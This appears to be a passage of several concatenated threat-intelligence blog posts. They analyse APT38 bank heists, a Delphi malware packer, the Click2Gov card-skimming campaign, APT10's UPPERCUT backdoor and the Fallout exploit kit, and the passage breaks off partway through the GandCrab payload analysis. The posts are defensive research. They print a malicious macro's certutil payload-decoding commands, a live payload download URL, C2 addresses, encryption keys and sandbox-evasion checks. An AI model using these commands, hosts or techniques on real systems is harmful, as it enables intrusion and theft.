  • APT38 is characterized by long planning, extended periods of access to compromised victim environments preceding any attempts to steal money, fluency across mixed operating system environments, the use of custom developed tools, and a constant effort to thwart investigations capped with a willingness to completely destroy compromised machines afterwards.
  • The group is careful, calculated, and has demonstrated a desire to maintain access to a victim environment for as long as necessary to understand the network layout, required permissions, and system technologies to achieve its goals.
  • On average, we have observed APT38 remain within a victim network for approximately 155 days, with the longest time within a compromised environment believed to be almost two years.
  • In just the publicly reported heists alone, APT38 has attempted to steal over $1.1 billion dollars from financial institutions.

Investigating intrusions of many victimized organizations has provided us with a unique perspective into APT38’s entire attack lifecycle. Figure 1 contains a breakdown of observed malware families used by APT38 during the different stages of their operations. At a high-level, their targeting of financial organizations and subsequent heists have followed the same general pattern:

  1. Information Gathering: Conducted research into an organization’s personnel and targeted third party vendors with likely access to SWIFT transaction systems to understand the mechanics of SWIFT transactions on victim networks (Please note: The systems in question are those used by the victim to conduct SWIFT transactions. At no point did we observe these actors breach the integrity of the SWIFT system itself.).
  2. Initial Compromise: Relied on watering holes and exploited an insecure out-of-date version of Apache Struts2 to execute code on a system.
  3. Internal Reconnaissance: Deployed malware to gather credentials, mapped the victim’s network topology, and used tools already present in the victim environment to scan systems.
  4. Pivot to Victim Servers Used for SWIFT Transactions: Installed reconnaissance malware and internal network monitoring tools on systems used for SWIFT to further understand how they are configured and being used. Deployed both active and passive backdoors on these systems to access segmented internal systems at a victim organization and avoid detection.
  5. Transfer funds: Deployed and executed malware to insert fraudulent SWIFT transactions and alter transaction history. Transferred funds via multiple transactions to accounts set up in other banks, usually located in separate countries to enable money laundering.
  6. Destroy Evidence: Securely deleted logs, as well as deployed and executed disk-wiping malware, to cover tracks and disrupt forensic analysis.


Figure 1: APT38 Attack Lifecycle

APT38 is unique in that it is not afraid to aggressively destroy evidence or victim networks as part of its operations. This attitude toward destruction is probably a result of the group trying to not only cover its tracks, but also to provide cover for money laundering operations.

In addition to cyber operations, public reporting has detailed recruitment and cooperation of individuals in-country to support with the tail end of APT38’s thefts, including persons responsible for laundering funds and interacting with recipient banks of stolen funds. This adds to the complexity and necessary coordination amongst multiple components supporting APT38 operations.

Despite recent efforts to curtail their activity, APT38 remains active and dangerous to financial institutions worldwide. By conservative estimates, this actor has stolen over a hundred million dollars, which would be a major return on the likely investment necessary to orchestrate these operations. Furthermore, given the sheer scale of the thefts they attempt, and their penchant for destroying targeted networks, APT38 should be considered a serious risk to the sector.

Increased Use of a Delphi Packer to Evade Malware Classification

Introduction

The concept of "packing" or "crypting" a malicious program is widely popular among threat actors looking to bypass or defeat analysis by static and dynamic analysis tools. Evasion of classification and detection is an arms race in which new techniques are traded and used in the wild. For example, we observe many crypting services being offered in underground forums by actors who claim to make any malware "FUD" or "Fully Undetectable" by anti-virus technologies, sandboxes and other endpoint solutions. We also see an increased effort to model normal user activity and baseline it as an effective countermeasure to fingerprint malware analysis environments.

Delphi Code to the Rescue

The samples we inspected were carrying the Delphi signature (Figure 1) and were consistent with Delphi code constructs on analyzing with IDR (Interactive Delphi Reconstructor).


Figure 1: Delphi signature in sample

The Delphi programming language can be an easy way to write applications and programs that leverage Windows API functions. In fact, some actors deliberately include the default libraries as a diversion to hamper static analysis and make the application "look legit" during dynamic analysis. Figure 2 shows the forum post of an actor discussing this technique.


Figure 2: Underground forum post of an actor discussing technique

Distribution Campaigns

We have observed many spam campaigns with different themes that drop payloads packed using this packer.

An example is an average swift transfer spam that carries a document file as an attachment (hash: 71cd5df89e3936bb39790010d6d52a2d), which leverages malicious macros to drop the payload. The spam email is shown in Figure 3.


Figure 3: Spam example 1

Another example is an average quotation themed spam that carries an exploit document file as an attachment (hash: 0543e266012d9a3e33a9688a95fce358), which leverages an equation editor vulnerability to drop the payload (Figure 4).


Figure 4: Spam example 2

The documents in the examples fetched a payload from http://5.152.203.115/win32.exe. This turned out to be Lokibot malware.

User Activity Checks

The packer goes to great lengths to ensure that it is not running in an analysis environment. Normal user activity involves many application windows being rotated or changed over a period of time. The first variant of the packer uses GetForegroundWindow API to check for the user activity of changing windows at least three times before it executes further. If it does not see the change of windows, it puts itself into an infinite sleep. The code is shown in Figure 5. Interestingly, some of the publicly available sandboxes can be detected by this simple technique.


Figure 5: Window change check

To confirm user activity, a second variant of the packer checks for mouse cursor movement using GetCursorPos and Sleep APIs, while a third variant checks for system idle state using GetLastInputInfo and GetTickCount APIs.

Extracting Real Payloads from the PE Resources

The original payload is split into multiple binary blobs and stored in various locations inside the resource directory, as shown in Figure 6.


Figure 6: Bitmap resource with encrypted contents

To locate and assemble the real payload bytes, the packer code first directly reads content from a hardcoded resource ID inside the resource section. The first 16 bytes of this form a XOR key used to decrypt rest of the bytes using rolling XOR. The decrypted bytes actually represent an internal data structure, as shown in Figure 7, used by the packer to reference encrypted and obfuscated buffers at various resource IDs.


Figure 7: Structure showing encrypted file information

The packer then reads values from the encrypted buffers, starting from dwStartResourceId to dwStartResourceId+dwNumberOfResources, and brings them to a single location by reading chunks of dwChunkSize. Once the final data buffer is prepared, it starts decrypting it using the same rolling XOR algorithm mentioned previously and the new key from the aforementioned structure, producing the core payload executable. This script can be used to extract the real payload statically.

Classification of Real Families

Many of the unpacked binaries that we were able to extract from the sample set were identified as belonging to the Lokibot malware family. We were also able to identify Pony, IRStealer, Nanocore, Netwire, Remcos, and nJRAT malware families, as well as a coin mining malware family, among others. A distribution of the malware families using the packer is shown in Figure 8. This diversity of malware families implies that many threat actors are using this "crypting" service/tool for their operations, possibly buying it from the developer itself.


Figure 8: Distribution of malware families using packer

Conclusion

Packers and crypter services provide threat actors an easy and convenient option to outsource the workload of keeping their real payloads undetected and unclassified as long as possible. They are regularly finding nifty ways to bypass sandbox environments with anti-analysis techniques; hence, detonating malware samples in a sandbox environment that try to model real user behavior is a safe bet.

FireEye MVX Engine both detects and blocks this activity.

Indicators of Compromise (IOCs)

  • 853bed3ad5cc4b1471e959bfd0ea7c7c
  • e3c421d404c08809dd8ee3365552e305
  • 14e5326c5da90cd6619b7fe1bc4a97e1
  • dc999a1a2c5e796e450c0a6a61950e3f
  • 3ad781934e67a8b84739866b0b55544b
  • b4f5e691b264103b9c4fb04fa3429f1e

Click It Up: Targeting Local Government Payment Portals

FireEye has been tracking a campaign this year targeting web payment portals that involves on-premise installations of Click2Gov. Click2Gov is a web-based, interactive self-service bill-pay software solution developed by Superion. It includes various modules that allow users to pay bills associated with various local government services such as utilities, building permits, and business licenses. In October 2017, Superion released a statement confirming suspicious activity had affected a small number of customers. In mid-June 2018, numerous media reports referenced at least seven Click2Gov customers that were possibly affected by this campaign. Since June 2018, additional victims have been identified in public reporting. A review of public statements by these organizations appear to confirm compromises associated with Click2Gov.

On June 15, 2018, Superion released a statement describing their proactive notification to affected customers, work with a third-party forensic firm (not Mandiant), and deployment of patches to Click2Gov software and a related third-party component. Superion then concluded that there was no evidence that it is unsafe to make payments utilizing Click2Gov on hosted or secure on-premise networks with recommended patches and configurations.

Mandiant forensically analyzed compromised systems and recovered malware associated with this campaign, which provided insight into the capabilities of this new attacker. As of this publication, the discussed malware families have very low detection rates by antivirus solutions, as reported by VirusTotal.

Attack Overview

The first stage of the campaign typically started with the attacker uploading a SJavaWebManage webshell to facilitate interaction with the compromised Click2Gov webserver. Through interaction with the webshell, the attacker enabled debug mode in a Click2Gov configuration file causing the application to write payment card information to plaintext log files. The attacker then uploaded a tool, which FireEye refers to as FIREALARM, to the webserver to parse these log files, retrieve the payment card information, and remove all log entries not containing error messages. Additionally, the attacker used another tool, SPOTLIGHT, to intercept payment card information from HTTP network traffic. The remainder of this blog post dives into the details of the attacker's tactics, techniques, and procedures (TTPs).

SJavaWebManage Webshell

It is not known how the attacker compromised the Click2Gov webservers, but they likely employed an exploit targeting Oracle Web Logic such as CVE-2017-3248, CVE-2017-3506, or CVE-2017-10271, which would provide the capability to upload arbitrary files or achieve remote access. After exploiting the vulnerability, the attacker uploaded a variant of the publicly available JavaServer Pages (JSP) webshell SJavaWebManage to maintain persistence on the webserver. SJavaWebManage requires authentication to access four specific pages, as depicted in Figure 1, and will execute commands in the context of the Tomcat service, by default the Local System account.


Figure 1: Sample SJavaWebManage interface

  • EnvsInfo: Displays information about the Java runtime, Tomcat version, and other information about the environment.
  • FileManager: Provides the ability to browse, upload, download (original or compressed), edit, delete, and timestomp files.
  • CMDS: Executes a command using cmd.exe (or /bin/sh if on a non-Windows system) and returns the response.
  • DBManage: Interacts with a database by connecting, displaying database metadata, and executing SQL commands.

The differences between the publicly available webshell and this variant include variable names that were changed to possibly inhibit detection, Chinese characters that were changed to English, references to SjavaWebManage that were deleted, and code to handle updates to the webshell being removed. Additionally, the variant identified during the campaign investigation included the ability to manipulate file timestamps on the server. This functionality is not present in the public version. The SJavaWebManage webshell provided the attacker a sufficient interface to easily interact with and manipulate the compromised hosts.

The attacker would then restart a module in DEBUG mode using the SJavaWebManage CMDS page after editing a Click2Gov XML configuration file. With the DEBUG logging option enabled, the Click2Gov module would log plaintext payment card data to the Click2Gov log files with naming convention Click2GovCX.logYYYY-MM-DD.

FIREALARM

Using interactive commands within the webshell, the attacker uploaded and executed a datamining utility FireEye tracks as FIREALARM, which parses through Click2Gov log files to retrieve payment card data, format the data, and print it to the console.

FIREALARM is a command line tool written in C/C++ that accepts three numbers as arguments; Year, Month, and Day, represented in a sample command line as: evil.exe 2018 09 01. From this example, FIREALARM would attempt to open and parse logs starting on 2018-09-01 until the present day. If the log files exists, FIREALARM copies the MAC (Modified, Accessed, Created) times to later timestomp the corresponding file back to original times. Each log file is then read line by line and parsed. FIREALARM searches each line for the following contents and parses the data:

  • medium.accountNumber
  • medium.cvv2
  • medium.expirationDate.year
  • medium.expirationDate.month
  • medium.firstName
  • medium.lastName
  • medium.middleInitial
  • medium.contact.address1
  • medium.contact.address2
  • medium.contact.city
  • medium.contact.state
  • medium.contact.zip.code

This data is formatted and printed to the console. The malware also searches for lines that contain the text ERROR -. If this string is found, the utility stores the contents in a temporary file named %WINDIR%\temp\THN1080.tmp. After searching every line in the Click2GovCX log file, the temporary file THN1080.tmp is copied to replace the respective Click2GovCX log file and the timestamps are replaced to the original, copied timestamps. The result is that FIREALARM prints payment card information to the console and removes the payment card data from each Click2GovCX log file, leaving only the error messages. Finally, the THN1080.tmp temporary file is deleted. This process is depicted in Figure 2.


Figure 2: FIREALARM workflow

  1. Attacker traverses Tor or other proxy and authenticates to SjavaWebManage.
  2. Attacker launches cmd prompt via webshell.
  3. Attacker runs FIREALARM with parameters.
  4. FIREALARM verifies and iterates through log files, copies MAC times, parses and prints payment card data to the console, copies error messages to THN1080.tmp, overwrites the original log file and timestomps with orginal times.
  5. THN1080.tmp is deleted.

SPOTLIGHT

Later, during attacker access to the compromised system, the attacker used the webshell to upload a network sniffer FireEye tracks as SPOTLIGHT. This tool offered the attacker better persistence to the host and continuous collection of payment card data, ensuring the mined data would not be lost if Click2GovCX log files were deleted by an administrator. SPOTLIGHT is also written in C/C++ and may be installed by command line arguments or run as a service.  When run as a service, its tasks include ensuring that two JSP files exist, and monitoring and logging network traffic for specific HTTP POST request contents.

SPOTLIGHT accepts two command line arguments:

  • gplcsvc.exe -i  Creates a new service named gplcsvc with the display name Group Policy Service
  • gplcsvc.exe -u  Stops and deletes the service named gplcsvc

Upon installation, SPOTLIGHT will monitor two paths on the infected host every hour:

  1. C:\bea\c2gdomain\applications\Click2GovCX\scripts\validator.jsp
  2. C:\bea\c2gdomain\applications\ePortalLocalService\axis2-web\RightFrame.jsp

If either file does not exist, the malware Base64 decodes an embedded SJavaWebManage webshell and writes the same file to either path. This is the same webshell installed by the attacker during the initial compromise.

Additionally, SPOTLIGHT starts a socket listener to inspect IPv4 TCP traffic on port 80 and 7101. According to a Superion installation checklist, TCP port 7101 is used for application resolution from the internal network to the Click2Gov webserver. As long as the connection contents do not begin with GET /, the malware begins saving a buffer of received packets. The malware continues saving packet contents to an internal buffer until one of two conditions occurs – the buffer exceeds the size 102399 or the packet contents begin with the string POST /OnePoint/services/OnePointService. If either of these two conditions occur, the internal buffer data is searched for the following tags:

  • <op:AccountNum>
  • <op:CSC>
  • <op:ExpDate>
  • <op:FirstName>
  • <op:LastName>
  • <op:MInitial>
  • <op:Street1>
  • <op:Street2>
  • <op:City>
  • <op:State>
  • <op:PostalCode>

The contents between the tags are extracted and formatted with a `|`, which is used as a separator character. The formatted data is then Base64 encoded and appended to a log file at the hard-coded file path: c:\windows\temp\opt.log. The attacker then used SJavaWebManage to exfiltrate the Base64 encoded log file containing payment card data. FireEye has not identified any manipulation of a compromised host’s SSL configuration settings or redirection of SSL traffic to an unencrypted port. This process is depicted in Figure 3.


Figure 3: SPOTLIGHT workflow

  1. SPOTLIGHT verifies webshell file on an hourly basis, writing SJavaWebManage if missing.
  2. SPOTLIGHT inspects IPv4 TCP traffic on port 80 or 7101, saving a buffer of received packets.
  3. A user accesses Click2Gov module to make a payment.
  4. SPOTLIGHT parses packets for payment card data, Base64 encodes and writes to opt.log.
  5. Attacker traverses Tor or other proxy and authenticates to SJavaWebManage and launches File Manager.
  6. Attacker exfiltrates opt.log file.

Attribution

Based on the available campaign information, the attacker doesn’t align with any financially motivated threat groups currently tracked by FireEye. The attacker’s understanding of the Click2Gov host requirements, process logging details, payment card fields, and internal communications protocols demonstrates an advanced knowledge of the Click2Gov application.  Given the manner in which underground forums and marketplaces function, it is possible that tool development could have been contracted to third parties and remote access to compromised systems could have been achieved by one entity and sold to another. There is much left to be uncovered about this attacker.  

While it is also possible the attack was conducted by a single individual, FireEye assesses, with moderate confidence, that a team was likely involved in this campaign based on the following requisite skillsets:

  • Ability to locate Click2Gov installations and identify exploitable vulnerabilities.
  • Ability to craft or reuse an exploit to penetrate the target organization’s network environment.
  • Basic JSP programming skills.
  • Advanced knowledge of Click2Gov payment processes and software sufficient to develop moderately sophisticated malware.
  • Proficient C/C++ programming skills.
  • General awareness of operational security.
  • Ability to monetize stolen payment card information.

Conclusion

In addition to a regimented patch management program, FireEye recommends that organizations consider implementing a file integrity monitoring solution to monitor the static content and code that generates dynamic content on e-commerce webservers for unexpected modifications.  Another best practice is to ensure any web service accounts run at least privilege.

Although the TTPs observed in the attack lifecycle are generally consistent with other financially motivated attack groups tracked by FireEye, this attacker demonstrated ingenuity in crafting malware exploiting Click2Gov installations, achieving moderate success. Although it may transpire in a new form, FireEye anticipates this threat actor will continue to conduct interactive and financially motivated attacks.

Detection

FireEye’s Adversary Pursuit Team from Technical Operations & Reverse Engineering – Advanced Practices works jointly with Mandiant Consulting and FireEye Labs Advanced Reverse Engineering (FLARE) during investigations assessed as directly supporting a nation-state or financial gains intrusions targeting organizations and involving interactive and focused efforts. The synergy of this relationship allows FireEye to rapidly identify new activity associated with currently tracked threat groups, as well as new threat actors, advanced malware, or TTPs leveraged by threat groups, and quickly mitigate them across the FireEye enterprise.

FireEye detects the malware documented in this blog post as the following:

  • FE_Tool_Win32_FIREALARM_1
  • FE_Trojan_Win64_SPOTLIGHT_1
  • FE_Webshell_JSP_SJavaWebManage_1
  • Webshell.JSP.SJavaWebManage

Indicators of Compromise (MD5)

SJavaWebManage

  • 91eaca79943c972cb2ca7ee0e462922c          
  • 80f8a487314a9573ab7f9cb232ab1642         
  • cc155b8cd261a6ed33f264e710ce300e           (Publicly available version)

FIREALARM

  • e2c2d8bad36ac3e446797c485ce8b394

SPOTLIGHT

  • d70068de37d39a7a01699c99cdb7fa2b
  • 1300d1f87b73d953e20e25fdf8373c85
  • 3bca4c659138e769157f49942824b61f

APT10 Targeting Japanese Corporations Using Updated TTPs

Introduction

In July 2018, FireEye devices detected and blocked what appears to be APT10 (Menupass) activity targeting the Japanese media sector. APT10 is a Chinese cyber espionage group that FireEye has tracked since 2009, and they have a history of targeting Japanese entities.

In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. This backdoor is well-known in the security community as ANEL, and it used to come in beta or RC (release candidate) until recently. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor.

Attack Overview

The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails. Although the contents of the malicious documents are unreadable (see Figure 3), the Japanese titles are related to maritime, diplomatic, and North Korean issues. Table 1 shows the UPPERCUT indicators of compromise (IoCs).

File Name

MD5

Size

C2

自民党海洋総合戦略小委員会が政府に提言申し入れ.doc

Government Recommendations from the Liberal Democratic Party’s Comprehensive Strategic Maritime Subcommittee

4f83c01e8f7507d23c67ab085bf79e97

843022

eservake.jetos[.]com

82.221.100.52

151.106.53.147

グテマラ大使講演会案内状.doc

Invitation to Lecture by Guatemalan Ambassador

f188936d2c8423cf064d6b8160769f21

720384

 

eservake.jetos[.]com

151.106.53.147

153.92.210.208 

米国接近に揺れる北朝鮮内部.doc

North Korean interior swayed by the approach of the United States

cca227f70a64e1e7fcf5bccdc6cc25dd

733184

eservake.jetos[.]com

153.92.210.208

167.99.121.203

Table 1: UPPERCUT IoCs

For the North Korean lure, a news article with an identical title was readily available online. It’s also worth noting that in the Guatemalan lure, the attacker used an unusual spelling of Guatemala in Japanese. The top result of a Google search using the same spelling led us to the event website for the lecture of the Guatemalan Ambassador, held in August 2018. Figure 1 shows the screenshot of the event page.


Figure 1: Event Website for the Lecture of Guatemala Ambassador

Figure 2 shows the macro function that displays the lure document. At the bottom of this function, we can see the readable text that matches the contact information found in Figure 1. Thus, people who would have an interest in Latin American issues may have been the targets of this campaign.


Figure 2: Macro to display lure document

The initial Word documents were password protected, likely in an effort to bypass detection. Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3.


Figure 3: Lure document

Figure 4 shows what happens when the malicious macro is executed.


Figure 4: Macro to install UPPERCUT

The execution workflow is as follows:

1.     The macro drops three PEM files, padre1.txt, padre2.txt, and padre3.txt, to the victim’s %TEMP% folder and then copies them from %TEMP% to the %AllUserProfile% folder.

2.     The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows):

C:\Windows\System32\cmd.exe" /c certutil -decode C:\ProgramData\padre1.txt C:\ProgramData\\GUP.txt

C:\Windows\System32\cmd.exe" /c certutil -decode C:\ProgramData\padre2.txt C:\ProgramData\\libcurl.txt

C:\Windows\System32\cmd.exe" /c certutil -decode C:\ProgramData\padre3.txt C:\ProgramData\\3F2E3AB9

3.     The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) with the following commands (esentutil.exe is also a legitimate program that is pre-installed in Windows):

C:\Windows\System32\esentutl.exe" /y C:\ProgramData\\GUP.txt /d C:\ProgramData\GUP.exe /o

C:\Windows\System32\esentutl.exe" /y C:\ProgramData\\libcurl.txt /d C:\ProgramData\libcurl.dll /o

The dropped files include the following:

  • GUP.exe : GUP, a free (LGPL) Generic Updater. GUP is an open source binary used by Notepad++ for software updates. The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5.
  • libcurl.dll: Malicious Loader DLL
  • 3F2E3AB9: Encrypted shellcode


Figure 5: Notepad++ signed updater

4.     The macro launches the legitimate executable GUP.exe.

  • The executable sideloads the malicious DLL (libcurl.dll), which decrypts and runs shellcode (3F2E3AB9) located in the same folder.
  • The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT. Before decoding the DLL, the shellcode uses an anti-debug technique based on ntdll_NtSetInformationThread which causes the thread to be detached from the debugger, as shown in Figure 6. The DLL is then loaded into memory and the randomly named exported function is called.


Figure 6: Anti-debug technique used by shellcode

5.     The macro deletes the initially dropped .txt files using Windows esentutl.exe and changes the document text to an embedded message.

The complete attack overview is shown in Figure 7.


Figure 7: Attack overview

Several threat actors leverage the technique of using Windows certutil.exe for payload decoding, and APT10 continues to employ this technique.

Evolution of UPPERCUT

Figure 8 shows the timeline of updates for UPPERCUT. The PE compile time of loaders and the create time of droppers (Word documents) are plotted in the graph. The compile time of loaders in the newer version(s) are not shown here since the timestamps are overwritten and filled with zeroes. We don’t have visibility into UPPERCUT 5.2.x series, but it’s possible that minor revisions were released every few months between December 2017 and May 2018.


Figure 8: Timeline of UPPERCUT updates

Unlike previous versions, the exported function names are randomized in the latest version (Table 2).

Encoded Payload

Decoded Payload

MD5

Size

Import Hash

Exported Function

Version

aa3f303c3319b14b4829fe2faa5999c1

322164

182ee99b4f0803628c30411b1faa9992

l7MF25T96n45qOGWX

5.3.2

126067d634d94c45084cbe1d9873d895

330804

5f45532f947501cf024d84c36e3a19a1

hJvTJcdAU3mNkuvGGq7L

5.4.1

fce54b4886cac5c61eda1e7605483ca3

345812

c1942a0ca397b627019dace26eca78d8

WcuH

5.4.1

Table 2: Static characteristics of UPPERCUT

Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server. The error code is the value returned by the GetLastError function and sent in the next beacon. This was likely included to help the attackers understand the problem if the backdoor is unable to receive a response (Figure 9). This Cookie header is a unique indicator that can be used for network-based detection.


Figure 9: Example of callback

Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2’s calculated MD5 hash to determine which key to use, as shown in Figure 10.


Figure 10: Blowfish key generation

For instance, Table 3 lists the hard-coded C2 addresses, their MD5 hash, and the corresponding Blowfish key in the decoded payload of 126067d634d94c45084cbe1d9873d895.

C2

MD5

Blowfish Key

hxxp[:]//151.106.53[.]147/VxQG

f613846eb5bed227ec1a5f8df7e678d0

bdc4b9f5af9868e028dd0adc10099a4e6656e9f0ad12b2e75a30f5ca0e34489d

hxxp[:]//153.92.210[.]208/wBNh1

50c60f37922ff2ff8733aaeaa9802da5

fb9f7fb3c709373523ff27824ed6a31d800e275ec5217d8a11024a3dffb577dd

hxxp[:]//eservake.jetos[.]com/qIDj

c500dae1ca41236830b59f1467ee96c1

d3450966ceb2eba93282aace7d7684380d87c6621bbd3c4f621caa079356004a

Default

 Default

f12df6984bb65d18e2561bd017df29ee1cf946efa5e510802005aeee9035dd53

Table 3: Example of Blowfish keys

In this example, the MD5 hash of hxxp[:]//151.106.53[.]147/VxQG will be f613846eb5bed227ec1a5f8df7e678d0. When the malware interacts with this URL, bdc4b9f5af9868e028dd0adc10099a4e6656e9f0ad12b2e75a30f5ca0e34489d will be selected as a Blowfish key. If the MD5 hash of the URL does not match any of the listed hashes, then the default key f12df6984bb65d18e2561bd017df29ee1cf946efa5e510802005aeee9035dd53 will be used.

Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication. Table 4 shows the parameters sent to C2 server from the backdoor in the newer versions. These are sent via POST request, as shown in Figure 9.


Table 4: URL parameters

Additionally, the command string is hashed using the same RGPH hashing algorithm as before. Two more commands, 0xD290626C85FB1CE3 and 0x409C7A89CFF0A727, are supported in the newer versions (Table 5).

Commands

Description

0x97A168D9697D40DD

Download and validate file (XXHash comparison) from C2 server

0x7CF812296CCC68D5

Upload file to C2 server

0x652CB1CEFF1C0A00

Load PE file

0x27595F1F74B55278

Download, validate (XXHash comparison), execute file, and send output to C2 server

0xD290626C85FB1CE3

Format the current timestamp

0x409C7A89CFF0A727

Capture the desktop screenshot in PNG format and send it to C2

None of the above

The received buffer is executed via cmd.exe and the output is then sent to the C2 server

Table 5: Supported commands

Conclusion

While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving. In the newer versions of UPPERCUT, there is a significant change in the way backdoor initializes the Blowfish encryption key, which makes it harder for analysts to detect and decrypt the backdoor’s network communications. This shows that APT10 is very capable of maintaining and updating their malware.

To mitigate the threat, users are advised to disable Office macros in their settings and not to open documents from unknown sources. FireEye Multi-Vector Execution (MVX) engine is able to recognize and block this threat with the following detection names:

  • APT.Backdoor.Win.UPPERCUT
  • FE_APT_Backdoor_Win32_UPPERCUT

Fallout Exploit Kit Used in Malvertising Campaign to Deliver GandCrab Ransomware

Towards the end of August 2018, FireEye identified a new exploit kit (EK) that was being served up as part of a malvertising campaign affecting users in Japan, Korea, the Middle East, Southern Europe, and other countries in the Asia Pacific region.

The first instance of the campaign was observed on Aug. 24, 2018, on the domain finalcountdown[.]gq. Tokyo-based researchers “nao_sec” identified an instance of this campaign on Aug. 29, and in their own blog post they refer to the exploit kit as Fallout Exploit Kit. As part of our research, we observed additional domains, regions, and payloads associated with the campaign. Other than SmokeLoader being distributed in Japan, which is mentioned in the nao_sec blog post, we observed GandCrab ransomware being distributed in the Middle East, which we will be focusing on in this blog post.

Fallout EK fingerprints the user browser profile and delivers malicious content if the user profile matches a target of interest. If successfully matched, the user is redirected from a genuine advertiser page, via multiple 302 redirects, to the exploit kit landing page URL. The complete chain from legit domain, cushion domains, and then to the exploit kit landing page is shown in Figure 1.


Figure 1: Malvertisement redirection to Fallout Exploit Kit landing page

The main ad page prefetches cushion domain links while loading the ad and uses the <noscript> tag to load separate links in cases where JavaScript is disabled in a browser (Figure 2).


Figure 2: Content in the first ad page

In regions not mentioned earlier in this blog post, the ‘link rel="dns-prefetch" href”’ tag has a different value and the ad does not lead to the exploit kit. The complete chain of redirection via 302 hops is shown in Figure 3, 4 and 5


Figure 3: 302 redirect to exploit kit controlled cushion servers


Figure 4: Another redirection before exploit kit landing page


Figure 5: Last redirect before user reaches exploit kit landing page

URIs for the landing page keep changing and are too generic for a pattern, making it harder for IDS solutions that rely on detections based on particular patterns.

Depending on browser/OS profiles and the location of the user, the malvertisement either delivers the exploit kit or tries to reroute the user to other social engineering campaigns. For example, in the U.S. on a fully patched macOS system, malvertising redirects users to social engineering attempts similar to those shown in Figure 6 and Figure 7.


Figure 6: Fake AV prompt for Mac users


Figure 7: Fake Flash download prompt

The strategy is consistent with the rise of social engineering attempts FireEye has been observing for some time, where bad actors use them to target users that are on fully patched systems or any OS/software profile that is not ideal for any exploit attempts due to software vulnerability. The malvertisement redirect involved in the campaign has been abused heavily in many social engineering campaigns in North America as well.

FireEye Dynamic Threat Intelligence (DTI) shows that this campaign has triggered alerts from customers in the government, telecom and healthcare sectors.

Landing Page

Initially, the landing page only contained code for a VBScript vulnerability (CVE-2018-8174). However, Flash embedding code was later added for more reliable execution of the payload.

The landing page keeps the VBScript code as Base64 encoded text in the ‘<span>’ tag. It loads a JScript function when the page loads, which decodes the next stage VBScript code and executes it using the VBScript ExecuteGlobal function (Figure 8).


Figure 8: Snippet of landing page

Figure 9 shows the JScript function that decodes the malicious VBScript code.


Figure 9: Base64 decode function

Flash embedding code is inside the ‘noscript’ tag and loads only when scripts are disabled (Figure 10).


Figure 10: Flash embedding code

The decoded VBScript code exploits the CVE-2018-8174 vulnerability and executes shellcode (Figure 11).


Figure 11: Decoded VBScript

 The shellcode downloads a XOR’d payload at %temp% location, decrypts it, and executes it (Figure 12).


Figure 12: XOR binary transfer that decrypts to 4072690b935cdbfd5c457f26f028a49c

Payload Analysis (4072690b935cdbfd5c457f26f028a49c)

The malware contains PE loader code that is used for initial loading and final payload execution (Figure 13).


Figure 13: Imports resolver from the PE loader

The unpacked DLL 83439fb10d4f9e18ea7d1ebb4009bdf7 starts by initializing a structure of function pointers to the malware's core functionality (Figure 14).


Figure 14: Core structure populated with function pointers

It then enumerates all running processes, creates their crc32 checksums, and tries to match them against a list of blacklisted checksums. The list of checksums and their corresponding process names are listed in Table 1.

CRC32 Checksum

Process Name

99DD4432h

vmwareuser.exe

2D859DB4h

vmwareservice.exe

64340DCEh

vboxservice.exe

63C54474h

vboxtray.exe

349C9C8Bh

Sandboxiedcomlaunch.exe

5BA9B1FEh

procmon.exe

3CE2BEF3h

regmon.exe

3D46F02Bh

filemon.exe

77AE10F7h

wireshark.exe

0F344E95Dh

netmon.exe

278CDF58h

vmtoolsd.exe

Table 1: Blacklisted checksums

If any process checksums match, the malware goes into an infinite loop, effectively becoming benign from this point onward (Figure 15).


Figure 15: Blacklisted CRC32 check

If this check passes, a new thread is started in which the malware first acquires "SeShutdownPrivilege" and checks its own image path, OS version, and architecture (x86/x64). For OS version 6.3 (Windows 8.1/Windows Server 2012), the following steps are taken:

  • Acquire "SeTakeOwnershipPrivilege", and take ownership of "C:\Windows\System32\ctfmon.exe"
  • If running under WoW64, disable WoW64 redirection via Wow64DisableWow64FsRedirection to be able to replace 64-bit binary
  • Replace "C:\Windows\System32\ctfmon.exe" with a copy of itself
  • Check whether "ctfmon.exe" is already running. If not, add itself to startup through the registry key "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  • Call ExitWindowsEx to reboot the system

In other OS versions, the following steps are taken:

  • Acquire "SeTakeOwnershipPrivilege", and take ownership of "C:\Windows\System32\rundll32.exe"
  • If running under WoW64, disable WoW64 redirection via Wow64DisableWow64FsRedirection to be able to replace 64-bit binary
  • Replace "C:\Windows\System32\rundll32.exe" with a copy of itself
  • Add itself to startup through the registry key "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  • Call ExitWindowsEx to reboot the system

In either case, if the malware fails to replace system files successfully, it will copy itself at the locations listed in Table 2, and executes via ShellExecuteW.

Dump Path

Dump Name

%APPDATA%\Microsoft

{random alphabets}.exe

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

{random alphabets}.pif

Table 2: Alternate dump paths

On execution the malware checks if it is running as ctfmon.exe/rundll32 or as an executable in Table 2. If this check passes, the downloader branch starts executing (Figure 16).


Figure 16: Downloader code execution after image path checks

A mutex "Alphabeam ldr" is created to prevent multiple executions. Here payload URL decoding happens. Encoded data is copied to a blob via mov operations (Figure 17).


Figure 17: Encoded URL being copied

A 32-byte multi-XOR key is set up with the algorithm shown in Figure 18.


Figure 18: XOR key generation

XOR Key (83439fb10d4f9e18ea7d1ebb4009bdf7)

